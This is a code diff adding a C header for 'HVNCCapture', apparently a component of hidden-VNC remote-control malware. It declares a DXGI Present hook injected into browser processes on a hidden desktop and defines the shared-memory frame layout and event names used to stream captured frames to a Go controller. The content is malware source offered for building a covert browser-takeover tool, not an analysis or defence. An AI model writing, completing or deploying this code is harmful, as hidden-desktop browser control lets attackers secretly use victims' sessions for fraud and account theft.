GPU HVNC capturing

HVNCCapture/src/DXGICapture.h

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+//===============================================================================================//
+// HVNCCapture — DXGI SwapChain::Present hook for fast HVNC frame capture.
+//
+// Injected into browser processes running on the hidden desktop. Hooks
+// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer
+// to a named shared-memory section so the Go capture thread can read them
+// directly instead of using the slow PrintWindow API.
+//
+// Shared memory layout (HVNCFrameHeader at offset 0, then pixel data):
+//   [HVNCFrameHeader][BGRA pixel data, stride-aligned rows]
+//
+// Signaling: named event "Local\hvnc_frame_{pid}" is set after each new frame.
+//===============================================================================================//
+#ifndef _DXGI_CAPTURE_H
+#define _DXGI_CAPTURE_H
+
+#include <windows.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
+void InstallDXGICapture(void);
+
+// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
+void RemoveDXGICapture(void);
+
+#ifdef __cplusplus
+}
+#endif
+
+// Shared memory header — must match Go-side definition exactly.
+#pragma pack(push, 1)
+typedef struct {
+    UINT32 magic;       // 'HVNC' = 0x434E5648
+    UINT32 version;     // 1
+    UINT32 width;
+    UINT32 height;
+    UINT32 stride;      // bytes per row (width * 4, may be padded)
+    UINT32 format;      // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
+    UINT64 frameSeq;    // monotonically increasing frame counter
+    UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
+    UINT32 pid;         // process ID that produced this frame
+    UINT32 reserved;    // alignment padding
+} HVNCFrameHeader;
+#pragma pack(pop)
+
+#define HVNC_FRAME_MAGIC  0x434E5648  // 'HVNC'
+#define HVNC_FRAME_VERSION 1
+
+// Maximum frame dimensions we support (prevents runaway allocation)
+#define HVNC_MAX_WIDTH  7680
+#define HVNC_MAX_HEIGHT 4320
+
+// Shared memory name format — {pid} is the decimal process ID
+// e.g. "Local\hvnc_frame_12345"
+#define HVNC_SHM_PREFIX   "Local\\hvnc_frame_"
+#define HVNC_EVENT_PREFIX  "Local\\hvnc_evt_"
+
+#endif // _DXGI_CAPTURE_H